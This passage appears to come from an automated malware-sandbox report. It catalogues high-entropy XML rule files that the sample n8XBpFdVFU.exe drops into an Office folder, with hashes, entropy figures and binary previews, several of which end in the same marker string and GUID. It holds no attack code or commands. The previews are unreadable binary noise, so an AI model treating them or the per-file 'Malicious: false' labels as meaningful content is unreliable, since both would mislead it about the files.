Preview:	<?xml. 6..ly..(.....c...u...-.iur..}.c..fu.n./po.j.0...s.;CL.\0%r..?..R...Ey..a.G0..&@.....R._.(.D.D....6.9~.dO..b...~%W...b#..&......_"..].H..E_..E.S..z....JVh4.w..g.p3._.T..1.5.Q.....A..R.4R]"...QA..>z.N.F,.X>H...:..-.(......jw.}...>ihQS..pv(L.52....I..J.....u...>.Iv.1..Z.T.....v..1.X.1.^h".1v..O.3Q'0.F.....W2nS`s.V-....[_k.........C.<D\..S.t..8....o...-..n.....k{i...R3.......F.@n).....jP........JU.8[.....* .X..dLV....b.U..+...e!....\..\|Z......7..!..5....g..[.lG..Q.5.......6).w.}...P./bIs?..t...PW...^....9-.f.7...x..5...6....."v...8.%......y.}c2.H.2F..4....9..K._..m)...M..8.;.{h.G.c.A..8 ..-.f..p,j....E........A...ho....$Bl.....i.M.........z..D.....9..n.G.2......a=...m%Z.....)..a.........j.EC...U...az.F.m.'..?.]xG.bp(.g'..%...5....l.i...X...dNY..FT...$}...8......I&...#?.r.+.....~Nor.....3.1.S...v.p.n*....s...`.#.1......SJ.....D.E......E{./...k`...V.w...).&...H...].+...!.xV.#N.y...J...8...y.]./..!.O......W.._Fe...?....=..i..:..,..$'R.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.882517344724933
Encrypted:	false
SSDEEP:	24:FlPLUFJtC2+WACUji2cHCbZCaphpPHz9Q9RfATJ02F39AcEjMlC7LB8mXI525EPR:DLULtC2+dEjdwWRaq2VU1Pj5F1nllwjD
MD5:	144BF24BD6CA895C3EA4114F5C20C87D
SHA1:	0F9B1E0170372DC2E0CE3B05158BB9A573257EDD
SHA-256:	7BAB83422B43367BABAAF60B85416045222DFBBDB982E12C8055794A8CAD8955
SHA-512:	AA5258561307E0AD1D29C47D2E0F1772634979B89CCAEC77C3C326838FC10F8636E456F849024D527234E2644C9993E47B07CDE9627895CAF0A8D34A09B60533
Malicious:	false
Preview:	<?xml...`....?..vG..k.s.........wG...?2.;...H.V..l[.).yc......p.L...a?....m.....(.g2.Pr...9.k......&..L..!E@8Ww.5.e'...p...U.l.hX.....t...r.......B...".<R.R."../....\B....ZWGS{0.z-.zf.F..#....=.).4...<.(.....#x.. .h..o.!FB .(u(..c..I.....s.`.f?^".os..gg]..tV3.?.........w.1...7....[...F.U8oN.QWA.X.4..'X..........=..S.9o. ..1.YZ........@..{.C..L{m.R.+%.IZK.H..c4.w......."....m...gE.....W.td0).....'..~...Y q&..j....?V...,..4^L?.W(..g.....k..?..3q3....=.,&".[n.IT..&T..uwX.q..2.D..hi..]^.....rh..^W....e}#Y5k.z........N........'=.p%...x.h@...n?..BHl.{..'...)..sm;..0.........s._..=.4.z..C[......(jcO..............#..K2.+........F..s..VOe.dM...\.h8..D?;..c.`.$...T4......Ca.(q<2...D...:..!0.@I:]&}y6.,/...0P.HE..50.R.Wsi.y.".)....\]E.d,..9..9....f<.......Ql....4r..kkR7.Mfy..#..s:..]..#..8l...j....m%.%..I.......6U.h......!....8.....W......>....n....3.y....0.Da.N..T^Z.F4slbU..*..\|..FE..=.`/L..T..\|.'....;.q#.4;..,.E.~..R.l...B;e.......S.+:W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.888853299862263
Encrypted:	false
SSDEEP:	48:sDP5PLcij1/ZZIxoipZQ5N7oXhkhZmF1bpyD:sDPftZZRkQD79h8bpa
MD5:	CC8422CB33F472411442DEC052DE4961
SHA1:	37AF4562AA8FB73ADFB6E6239CA0D10944C4EF73
SHA-256:	A4F53303DE8AD8D2C3079D2A1045012A24D0DA90DC325DA74D17B14E09A4959B
SHA-512:	F530FE2D4BFCDAE39DB91A8A6152848E716A7A338C765B2D112720EC9F82D16A2C2679BEA95CD9747744B529AB6DC3BFADC8AE9A80FF162EC35E786D58D3633C
Malicious:	false
Preview:	<?xml..-QDG...H.Q......Y...D,.\......d.h.@s..}.....~.w'%...]..Q.je.a.s...TX.pZZ......0[.J....5U2..m.AA.D.1.-h!....jYK...Q4oi....P...0m...o!..h....uFN(...9...w....J}.....6.\|...f..$.3..'.^...H..z6f.f.......T.8M..!!...&.....r3ri.t..j.W...>.....0w...W..Fa...,.....gj.r.r..7X..j...G.+......w3H.....`...Z.l.!.2.Q...fB..m....V.k....K........R...`....H....&.......).aL.[AQ......6}J.....PZ.."<.D.....?.2.....Pr..BC\|b..:......5slb.t.w....@..q..4.)z...!.A...z;N..u..Q.\...1+.[.B..p.H[F.4.......$...8..lq... .t.H......].1.'#A..ug..KbF>3.....6sh..`......aN.{B.m'2.ke..g...4......y..7...!G...).S...*Pd...b.(.3....U[......S+.B...>d;.+[...d....R.Ql....um.......41o..W....&..E.^q.4.J.K`P.....<.....Cj.,.....#..f%...2..<..."f....&.-.o..........61..W[l.3....&.7).G...`..........<..L..)...^}..O.k...[... .<...[z.a..Vk...........]..u:.......J..e.R.p...g&.vy8.t......}x..\|_.,EZ.A5..7..c..0'I....z...o..Q6......r.0.e5H.pOO..Co.F...l....P......h<m.....\|b..].r....m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.841471464592435
Encrypted:	false
SSDEEP:	24:29v0fWUxgJIESN43Ku7/MEyeqNug4ldnendHN60wBThy35DVNaJbD:22yS+T73yeGoPendt0hW5PcD
MD5:	C6785E4B2B0F7C87D2B58FEA53FC0AF3
SHA1:	E4B126F512DC3CB00CF967D60204CC9B1B8C650D
SHA-256:	A8885B9BC9E2FC3C076C101C7DFB1D650AB54EDF8FBA587D4C954005B76894DB
SHA-512:	790D58C3FA01EF7C3753C79D52E6D6582DBD0DFFFBF5DFF3DEACD1D6BA8161771E55DF7DD3560D086F19B9AE34879E1A5005404D4129FE930629D54005AE3B0C
Malicious:	false
Preview:	<?xml...Q0.j..#..3....k..wA..S...#G..%......}V:[..".j,..[.kZ.......h.[u.c(=....7=.j48.P.....O\|..G.gHD+........S..."..,3..W} ..^.q.&.K.B.\..........EA.,..<..h...4.mF..t...Pf:.......Mq....v.L............$..j.u....Z......*..L..x...{X.......4.gd$.H.u..^4!....q(H..Y.,...k..ac......~!..\......G@...}[.w..7.> ,N.$p.&....o./_......`...IJ......=..B....Y.X."1I.>.q...Oh...x..u..A.]....X.$.q.t...&.r9qi..SY...?..@...i.^.0...$N.........l..6.hf..:..ilK#:..b.u.s.2ua8...Y.P..q.f.$...O.~.....Q......[...g.&..'4........$V....o..$....C.9....V...,....<.... ......2.3../..4;.i....U..#....>Q..4A...\.;...N.Q.TV...QV.V........M.......'...Q`t.?].d..-...h......!/).u\|....;m.E...Z..".L..J...p...o;P....:.F+\|...P..o..&C.q.....Z..B,.l ...HE}(..)`...;bQ,.]..w..;b.fX..u...S}..9........mU..p.7.8L$...)..a...c.b.$a....Qa.`g.aPE.i.....x\|yo..Z\|Uu...tz4..a.+.M...:...}.I.......`].^..p.......P.....)vdI......}...[bV<x..%.w.....4~......K...)........4H...........Dy...Nt..?.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.874659259576856
Encrypted:	false
SSDEEP:	24:YAwl9JpReyBr3+THcWgDJPt3PSp8NEw+jjgciXRuc8sC19GkhWOiWFiDbD:o9j4Wr3qTaJPRPSuqjjgpcc8TxMysD
MD5:	E2C3C9B6D3DD71DAE04C8C2542CBEFD0
SHA1:	5137225A2713A09769861AAEC86F46BF83110FA9
SHA-256:	348C065FF9BE888FDFA9A744738DD216EF04DD7251474B5990ABC284C77E756C
SHA-512:	E0DFFD47AA852D41908884691E94B3E41D7BE352D12C9680DA5DBE90FD05B48CDB65B83E58F6DCD495A956358CA639AD55EE8C98708A0F36A0C0162777857B54
Malicious:	false
Preview:	<?xmle..4.....<</..f...?$...(.5.....c"EnR.lJ.A;.......).Z%F.W.VM...X..\|.. .......]C.....I...3..3.w.]..6.`~~.(...t,Y...}...aR...L..d>.'2......#...z{..UN.t...;.X.....w..(a...Uq,..F&..r]...Hc..D.P.'.!...q(n..(l../.\|c..\|C....t...u&..<jV....q.3..<....{.......2.3?....\...V.B..t.......P...N4.e,...'}v....}d/tUF..v....xx/...i../.[@..@..8OV...a.LN8&.4~..3.....Dbx]....{g+.!.S.5.Mn5.S.=C.....]D#.!............O.. ....yk..a..$.Vd...9.........[s.v!4.HL.. .H.v.....7.~..$5.9.q.....$I+T.... W....PE7r...;.xk...y......#3NR#........r..F.j.u.cw...q^. ...P....=.......a.........w[dm _...cy..6......Tw.=.h.cRO..?/.L...7..6.9..x..o....Q.g.1.+.M.l3....q..[.g..'.....'..........4^.^g.............Yrt.....@4.r.kkS...Yl..k....<ee.k....._.rvT]..ZT\.l.....;F.......n...F..0..P.+...i...D.9.&..$..%B.<.k.H.?..........6y.`E..0<\|1....!...53.....'5..4...s.:.B....We.4.\|..h.]]....\|..q....r...A6?...j.Z......8._..m..BGa.#....EW.....X%=..../5;....Z.o..\.@....c.{!?!...V...8...Rs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.878589815536138
Encrypted:	false
SSDEEP:	24:YOqSf2ZN4qzyhNVQJLzCIAsj+Fsw0HTkiUrnklYYVOqt2MfGnY+kNPS75ny4ybD:jf84iyhNViLzCI+94YqOBMfF4fgD
MD5:	B2CF8852938E615242907FD5CFCBF1CB
SHA1:	0C45F1506C18B02F62E07F5A38136AEF600C2E84
SHA-256:	7A5D7DA306679E3A6CF37B9C8E9D92D1DEBD95896EFDB5A6C03A6E3F95120CCD
SHA-512:	2C78D146366FED2A6D340D6ACF0CA649F2452BB6AB86E2ECD86722CF73F922EF990933E394E5F000AFE6F5392933C8D820EA64A6006B23B5C0D2E34B56F0D6F2
Malicious:	false
Preview:	<?xml.w..H7...!epJ....'....G./.3g.l..1........{....L.F.z.D.....s.\.Qm.'$."$s...g...p..1<m....y...V.&,s..L4.`rO....{cb0.Dy._...r..?o.%.......".<i.$....N{`k%.L..SvgW.h...z....l..."~}..[/v8.....`0.<\A......C...v]u....=.K..VY.J/.dC.....p}.5^."G..Y...}.M[.v&TX........e&.o.......y..LV..6...lRa/..8R.y.8w.;.DT<....%D..J...N.......u..g.....ld.._..n[...^6..,I.....'b...2a.5....7}_.Li...~.?...H.....\|...f.Md...&.(..v!$...'c..p..9.&.....@~.,...{.B.XD.JJ.^.u;.a. .&U].B..e-...L.....b.duW.t.F[.q8...c...8......H.S........P..J..R.vQ@...F...r.(LT<.../..x.....<..m...V..@..b...F..~t..1..e...s!...rj...z9I..B..X..OT..p.}%Z1.9.~.".".F&[:.......!R50K..{.....$bj..'....K.....h..v..c.w.........z......<..)D>......m5..d.............T....5.$xnm.l......=A.rG.`.!_....9...{.N:..#pe1ah...IV.t..R...,..........2..T{......E..q.T..?.A._.4%.=..=....~g."........f..2..L...\|.(.y<..g...+F..I...7..p.M.N....3[....4..T....D....b...q......zKQZ..O.....A~.w-..&.....s....I..3...k.nj.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.784274719715638
Encrypted:	false
SSDEEP:	12:MwCBMelxmW/00cFTFWjSi2lejcyV2z8ckiM/w9v8oEHFUnTHaW/3PVz/DbE7roAy:DuMG4L0UA77c0z4Me2UnT6W/FH/eHmbD
MD5:	FF2C2FCACB762516E41D6ED52749858B
SHA1:	8D58C695161B372E261C0CA578ABBB50D29E1956
SHA-256:	41FDEC73B1AD0F0200C9B1243EFE5565F263570B82EB9C198F7E0B15FB7FB584
SHA-512:	096D4598499121173A4E85CD5DE4D52A37E297865397116D8A6692FFD7FB7CA41F5DCEE9E53CA2B18E9BEC388C18E0F5AEC5348CF79C24C5F64D728210DC221B
Malicious:	false
Preview:	<?xml.. K..o...E;7,..(......Y9...`t.'n.5...JO..^)^#..oT3.bY<..:...j..(.Of..]=.........H.Rx..i+.m)H..=...I...,.Q..y.ycb.^.f...z....TS........y5..2_?..wZ9.!......z.B4.J'..{7u..h.s?a.f.4..{.=.#.leY...k.\..M...0].S..N&\0..1..p^w..'G.P._R.F....Llt.R..m.#..#.H....d..&u.#.S:U....k__.u.9.R:1.....T#I-O.D..d.......2.2..lZ.....}.!...x......Z.r.!....(.m..6.!..4.I.H.W..[...m.&-;...i .C...j.mhYX....=.".\.....v.%..o..o.'f....O.T.+...].q./...~..6........}...F.'.e._c.....%.!..9..zm..M.z..b..u/..........v..Sm.r.e...:..".jD...H......J<..Y./._@...f..].o..,+...e ?.J...$...u...A...Uy.H...A..L.j..u.t..y...>.@K........p...b..V.._. ..Vny0h......z_.:.:).......]...i.nH..Q...+Y.$..w...N....w.e.......9&..yPScmU.../..t..r^..W.."~5x.U+u.n...z.. .g...By...(.7..2....y.1V/...<q.~u....2...............}SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.942304822617112
Encrypted:	false
SSDEEP:	96:EEB0dcs96DmEB9Vafki1I7+zHm+BidmOjT:EEBmcsPEBHafki1I7hT
MD5:	37EC4168E3B9853338C862475CC12547
SHA1:	F3A05DC2A965C949D980B7D03E56E870E8A3B693
SHA-256:	E55C3A3A6A4A28CF348CB47A18FCB93ABA5D0BA969353E2750DE11F566D54E04
SHA-512:	10062C5C2CD5CF9CB28B5F1E4F3FCFEE06F002E7FBFD3B5EECF050BEEB78390F2E0E0D0AAC54C734B3D2A182389738F074F79CB956BA6C3E5824AD3119517850
Malicious:	false
Preview:	<?xml.......e..k...P..L....^.2..X..9......\|..0R:...WdO[...[^E..{......].......M....V\|.wR.Wh...VPX=.a.H...n.~..0$Y...Kv..DgaCH..XG.....d.15B...........t.... ?4S.Z...Il.P.Sx......P8....c.H.).S._r.].BJ.s.........H..).~.$.zl0x.P@.......[a..Y....=\|...3._../..r.....m.JxC.(.8..O5E..........BgkK.t$.'.t..Z..Q(.m....A...7....NC4c.5...#:/.j...(7...-ey-.D........~.u;...N....e..WS......XQ.7......Kco.=..U.1.F......[......I...{.T...=GzF....^..b..v....g......."X.-;VP'.....Eeq...L.^O_w...OLL..}..P.].).....Qz.......3Qr..2Y.E'..../.U...0.h..9sxw..c.-.'<.A..T...\-....!.q& ^.........(.K.]..D...a...~.b.(....31...O.EL.....C.E..Qz...I..._...1...K....n.?z.F..:9.#...KjY......I.P.!8F..x...}-9m....k..r.):d....7.U.Z.}.3..6:5.'.>2.".5.x..1.+.K._.K.X.1....E...T..............HCJ..Aqd...........!. ,.V.\|..s.B.i..E. ..qsa.g...:...=..."...cU3.H......O........$.%/.....y.BAh..5.Z......W..B.I._.........P..Q.r.r_.....S...,F.5rX.......v...I.....)P.........v.D..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.954185372717629
Encrypted:	false
SSDEEP:	96:xbgfRoJaYVFNc2rGLuNUrwhDk5Q2LihrvP1MEV/o:dgf8aEFhKL08wxVw
MD5:	39D86B13883B04D0031EB0EE182DCAD4
SHA1:	3356CE5862DB2E1A5F76C4F2486B617D715FD873
SHA-256:	4EB541811C058880396D5EE1FDA6B9B6C0BE105D64B159C126B099191692769F
SHA-512:	1BC0A1E3711A9F9034D14BA3F1BFCA28A95DA0D276618CA7FF7F60AE1DA7CE97F7260B2D4D8E3E51693A90DC1401FB5B27E815D9E22A52384B30E31CC3A7530A
Malicious:	false
Preview:	<?xml.a.w.@..l...}...(D...\`a...F....0......#w.~[..H.......b...X..&.{^.-...#p....+%..9YG.O.y.v.M..`..'"/Z.)."i0....C.s..e..:sPg....+l..../...b...}6.JKa.V....(.h.U.+S...8..Z.j...b1.s....-N_G.2k..3_#+N.3...-..J..X...V..T.OnS6...:X@uM..d....Kq..ry....bY......q..4.e8.&.7.....w.._.....=c..m...?....%~UAn.oX.4p.f..`...9..$[m.5......&q......".c..........X..Q.,.....@.q..>.?.8.L........#?:....HC..5...../..U.#. y..B,Ez..fD......\|..`.`.~~..#X..0Xz;.F.a@2...v....).n..#.<6/`........).....m..v...p...U..,.n....+T....C.D..1...<....N......#t.v%.:.......4.}w_Bv..11...~..HT..].l.p$.l.j.`/..J".s.......u1..$.-}....i'Y...(...x....NId..9...T(...F,....;....".......+....~..8..n}......>t .7...D.<.M....x..lay...J.M.x7..IAD....G.t.......L..h]XGp..D}qwmy..$(7...(<..f...S..K.Kw..3.-......R...&.\P.9..`......S1P.6...f.. FF.M...C.j.....?o(......3+?.4Gq...`^a......OVXT.n.D.Y..gp.~f...RB.%u.>.V..4......{#.. W.q0.w...E..!8... .m....L'..+_.B...R'.o...1....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.691761735686633
Encrypted:	false
SSDEEP:	12:TmeWpKz5vjGpgpz293LN6oT/Kj6OyeLK1C0wYH5Pd/Zs7k/ndBWS3+p8mW6EUXYI:Lio5vj0Uz8b9b4LMdxs7k1MuE8jmoiTX
MD5:	04C0AA9960F7A01181BB2B52B15F303B
SHA1:	02D09E40797393AFF4BFED17239BD66EEFC7C7F2
SHA-256:	61C5B27297CE91CE1B35F05E14F453063AD116609CC8FB94032E4119D7E697F7
SHA-512:	3B0CC5386AA9290F417BE9FDED2F1EAED305D92356AD6541FE3A9266D3B860C0B8D9F8904FEAB0FBF05615F1926382FBD011FF1F1DDF22B5BC72AF035565D309
Malicious:	false
Preview:	<?xmlb..;@.(..;...)Et....;?p.....>dV.v->..>q..K$>..h.f...d...T..Q_...uH#...W1..$.MZW\y_...lp..q..{.KW....F...`3-...'....0..5..L.a:-..m.\n/u.<..:A....>C."....H.......B....6J.Bt.3_..........a...r.. VYy$..Y .LI....a.I\|....B.B{t...m.g...K.Y-...1....V.X...G....r..i{......w0=N.L'.$.t....&....3.luh.+.S..j....w...I.si.u..p......Hi..~Q.y.o.`x..,.b.Fw..8:..Q/..P...+.lC..."h....-.\|..`..P.wn.^..D.0cs...8j=.f\|.k... @.5.....JK.z....z..s.F(...4.....E\.....l.A3..s.....,.cnR..6..g.q...l......c..?o.......?...zT7..$...)..h.D..J.v.)...>.5&.p..V.6.3...yDjg.yB..0.y9.=..r.X.,_....ld.:P.;8_.AC-./...H..2..Q$..W./q.p....TT.#.B..9.....&+......c.>...Q..S..je....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.868582104230035
Encrypted:	false
SSDEEP:	24:hRk5oRizGD6eRZ4iwtvzG4YFLFXe3eIrBGIZZ1xotULN35M8z3T+cFMMxJEBdbD:h+STWyf+bG4YzOOOG4hTNKM3pFdSdD
MD5:	2940C788AE5FFCF3C35A84BA8AD5FE19
SHA1:	475AEC5E6960FFE090C0326E9924699C9F88663D
SHA-256:	98FD604B3B135E334E84AF5D31C5A7E8025323F62C808B0AB32A70012E2C8B4A
SHA-512:	ABB6362ED97099AD4FFFD32F656448B21E33240ABDD56865664B30D2E9D709B6A565601437EA8EEF40B294AE1BA68E59E22F4915D7560B9C4B335408F8820C02
Malicious:	false
Preview:	<?xml.......)..i....l.....3..rKX0.<........#...z..M..N%;.#n..BA.C...oA.Q..w..:..GB.pF.E......i..F7.=I/LS....>.\|.'#......[.....?.nr.Q....1uN.q...f...?......\........[....`.....^..2..b..kX......N..".._....zP.w...(U.....v..k....':...b._yh.X...O..]...6.4a2`P..Pz?.`....+.~.]5.....u.....b9..:.i....BY\|59.x~.]i$.M....W..Q..~.&.>z.......h.V-....Iv.>...T..`F.....8g.g.......4..k..N....U..0"5.".....Nd#~....A....`.b.6..w....=!.y%......z.U..-R.;\|n..SfD=(.t...].mm.z@..{.......F.....X..._..:.M.Q.Tz.V.(......VsR...........;.KM.IY.....?..\O.....w=G..>.,....M..+.3.J...=.~t..\|...-.9.^v...uG...&.]Qbwo.K..>AgB0=J..5zh<.6dq.....l?/........{.......sN ..hX.f....6q.V.n.~.R..+...c.g.x0.u..w.BC.>}......n....]...]......."....;..^..I.Vg...a.J.m.......j..:.Z.q..du....O..fCT0..a.d.`..Qn.K.....v.Jm>.$....Z.....S..}......m..s...M.!..S..*r.Ta....#...Q4.s.6...b..3.........R...c9..a'....uh..y....Wz)25.P.I.....b...2.%ez.....u..X.......9].t..{.(.=.....".i....I....$5..wg.v.-...N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.691689934764946
Encrypted:	false
SSDEEP:	24:Ojqojm69potzJjDHWLc7vZ/uHgEkzz7XgLGDbD:DYgzJYk/cPk7XgED
MD5:	E3E463B340825DDE47346FEFB8AE11EC
SHA1:	5361880EFE5D98B903E5FBC839807447917E343A
SHA-256:	8D5CE67F0D3771B1D9D1DA5AA098A15F7A445E68295D1AAC5A49812B8BD007D6
SHA-512:	6BA5CE53B10268E6F65429BA5C77745CA317DE9701DD079FE611F3E79E466804A8BACF836870BDD96F50DDE673C55F01CEFC47A02AA9C98E1AE9A60200843708
Malicious:	false
Preview:	<?xml.G....;#J...S..z....)v.ua.m....7S.).2...../!.....4.O..qK...d..{\|.2%.2..s.~*.)}_..i..V6.!..P.QA...V..P...P.F.n....."H..4.....QG...V.f..f.....\....E.8.s+..%f...n..9?.8.......S.D..l....O-.f?.,&..]4H....5.>.FDF, .....U......Hs.......P..HW#.....C).WW7_t........T.....frlYUj.I#w$..oe-..\|E..^....e.Hrx....(M.v^..F.....K.....!...D........`&.......<q.~.q....g.<M..).....TO..H.3ti.O%.......k.l.Xn....tlf7.+Q.../H\Ot!....;..Lx.../....F;..Ef.,.iX@%~b...Q.F...k."...g...j....ME@R..:[<.b.]..s..y..k.;$-.p.....$....^.z.FrB..!=..OB.i...t.x..$.....r.?2.t..Ao.........N..aLZ.:....>...I6..j{...L.=\$.$rHj..&E..y.....@..Yc9.,)[.l.$...H...].U....(H\|.E...?[$...K.%.......^Z/.p3.Bk..%....3.8HI....#bp.9k1..F....\|ny8.,DIZ1.5<.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.782586794360249
Encrypted:	false
SSDEEP:	24:MEL058nvpmVokfKTbinCb7hzNqq27ZAw8KWTYuFbD:MP5yRo9SHinCblZoZBWHVD
MD5:	02AA30D8BCA5C72A364E5826F25AA4D1
SHA1:	AA229CAD06AF8094CBA1D1CAB83B0391ED1CDBAB
SHA-256:	3864514CC9D178EB5FBB5CB6A3BC591B24AE0501A443A25EB0BF6CDB80755614
SHA-512:	56C6EBC9C784079A8C45C87398C43CDD363A3A9F15B9D77CB1BE6C7F6C246748A055FE9FE2CC3307912FD0CD0E53409590CFA0F39C9D86FB70C078463C9C34C5
Malicious:	false
Preview:	<?xmlh.)....H..F..q..)..I.....n..;_..$A...Y..r..{k...T...=....0...m.0..%...........$Q.Sw. ...@...._>)p.>.....;$.n[...h..t.%w4.>.qL#....H...../hG.9..7....u...4............GN.....NH.^.....o.d5.0.....b..8..s#.a..c.<...+....KP..<.kxvk.....F..gX......fQ..#y.?.......y.C......'.,......8.6..zz.pCO....N...v.q.. ....+..E.t.<.?v.`...N}..4.-.-?F....E.4...F.8...7...!...F..<.f..d..'..}l.^...d......5u....V....xt......,<.(..o......{...S....q.<....T...k.......G..#.KL.._..Z.6+.g.l.`.(..i.I#..zp....A..a9.Z......n.z.Qk....d.#..../:\C...m..ev.j<.?..M.E..5U&..m..V.P....L..e....i.o..O....o.........Y....I.d....#.u"f...RQ.Yv....CEV.....1...e@.....y....bLW. .T.o......l.._1.G..9'.k...4a.Wo..lH.,e.B...Z...&.zM..5......w.L...ps..0..nj{..o...R.E..Q+....,P.....Q`<.O........T.9.T...gj.Kw7E.$..A.;...g.V.r\|E'.J....J5.M........A......9....3.....s..&4....W.!.....@.AO.......$....#H(1.....X.l.2z<...C..O].kA8._.k..`........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.82476713577747
Encrypted:	false
SSDEEP:	24:ds6Dyx7Fg+uOQBBKvPUuKvf7YuAew2JFRkehvRzVIksry7FMQj/v/bD:dRDyx7FeBk0fEuAeEBsFMSD
MD5:	5D9FBE991B51166D40C0764A39F14D0B
SHA1:	1565CEE2498FEB54A7256502AAC0A6EEF8E06F13
SHA-256:	9AF7FAEA350C9562111C6C5115469876F6EC13653B97839542F8A91433A5CCED
SHA-512:	059A5F3D8B123F169A93F3D50ECF085F573B0FC18E20A6CBAB403734B984046A58014AFA363076DF2E2F15B9398E22D5CA1D0AB898A022B6CF01B3D13BF57B10
Malicious:	false
Preview:	<?xml...._...?.O9T....Z.....}.G.~4%:..,.zkA5?......D....L.S....h..r........5.0.&.A....o.Ev.%I.......HZ....e..D.r..9..Zh.h.,\|Zk.]e V.\(..d.Q..d.,..0..`Jc1..k.AB...aO..x.][.0..q..L..{F..........]V...![..A..r(n.N.@{..ZJ...yi......].z..{b......d5.Q.;E..q..;..kd..8..\|5..._%..:C...tT....+.W.h..-.%...f.......B...@84..w..X...)...g..g.-..6.Q....pk.=.C...h.V_5~q......\.Ql...D.C........l..\{!...\...#.W..l..=.zoH......X..A..k..nvj...Q....G.b...O#.7z..{.V....Tr..%...i..<..-.J....p...6....../....`.Fd:...D&..ll.._'5g.....).6.....Z...o.\...=..S.(..78!....^.....E.6..0...,..~...=...(........K5..?.Dc+.$..\|.c.l..V\|.%.{.....9........X.'.^........jX..3)..x..MIX...?...r..g..>..{.#U..%.UZ..{.8....7../t..b..-...9,)D......oZ.........,t..'...o..\..(...._JG..z.>.Yj\|(U.5...g..}...2.......s...f.m..o.k.'....W......Mt=aV...W.........uh....mu38b~...b..V.5...G...6X.;.t...C..(.........W......cK1?.@O.B....u49DI..,.\|...i..}..Vky...U.....3..;B.;.I..t.p..j....?.NI\|.e..Noh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.870060288397794
Encrypted:	false
SSDEEP:	48:5XKEQMW08NLsVuwCFhZC0LycYQ19hmKcxmmOGD:5X4jNLs8TLRrMlxZ9
MD5:	80303B38AEBA33BBF23FB0985252C56F
SHA1:	A539B284FED571DDBDA5B00C2FBED71C72D60AF8
SHA-256:	1773C322ADCC295E928B50681998A5616D32C4065B471BA0CA2B4610AD4DA0A9
SHA-512:	D841D5EAD97CD7BD3D0EE5989F7C13501758183FB35479A89B24B0034E9924849931E808295AEDECDD2EA95E4EB01F4F2F130527D7E4EE3A97D29A57F0660C6B
Malicious:	false
